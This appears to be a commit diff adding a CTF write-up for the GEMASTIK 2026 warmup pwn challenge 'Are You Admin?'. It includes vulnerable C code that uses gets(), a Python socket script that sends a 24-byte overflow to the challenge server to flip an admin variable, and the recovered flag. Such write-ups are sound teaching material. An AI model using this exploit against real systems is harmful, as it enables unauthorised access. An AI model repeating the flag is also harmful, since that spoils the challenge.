docs: replace dummy docs with GEMASTIK 2026 Warmup writeups (ch1-14)

- Deleted all previous dummy docs (defcon-quals-2024, infra/cloudflare-525, debugging/websocket-timeout, template, docs/*, notes/*, research/*)
- Added 14 Gemastik warmup writeups covering encoding, stego, web, pwn, crypto
- ch13: RSA small factors; ch14: RSA special integers via paper-search (GCD with paper appendix primes)
- All flags recovered and documented with solution methods

content/writeups/gemastik-2026-warmup/ch9-are-you-admin.md

@@ -0,0 +1,46 @@
+---
+title: "Are You Admin? — Buffer Overflow"
+event: "GEMASTIK 2026 Warmup"
+challenge: "Are You Admin?"
+category: "pwn"
+points: 500
+difficulty: "easy"
+flag: "GEMASTIK19{0v3rfl0w_ubah_var}"
+---
+
+# Are You Admin? (500 pts) — Pwn / Buffer Overflow
+
+**Server:** `nc 15.232.89.109 9001`
+
+**Source (`chall.c`):**
+
+```c
+volatile int admin = 0;
+char name[16];
+gets(name);                 // <-- overflow, no bounds check
+if (admin != 0) { /* print flag */ }
+```
+
+## Eksploitasi
+
+Stack layout: `name[16]` diikuti oleh `admin` (int). Overflow `name` dengan padding 20 byte
+lalu 4 byte nonzero untuk mengubah `admin` menjadi != 0:
+
+```python
+import socket, time
+
+s = socket.socket()
+s.connect(("15.232.89.109", 9001))
+time.sleep(0.5)
+
+# 16 bytes buf + 4 bytes padding + 4 bytes admin override
+payload = b"A" * 20 + b"\xff\xff\xff\xff"
+s.sendall(payload + b"\n")
+time.sleep(1.2)
+print(s.recv(4096).decode())
+# -> GEMASTIK19{0v3rfl0w_ubah_var}
+```
+
+## Flag
+
+`GEMASTIK19{0v3rfl0w_ubah_var}`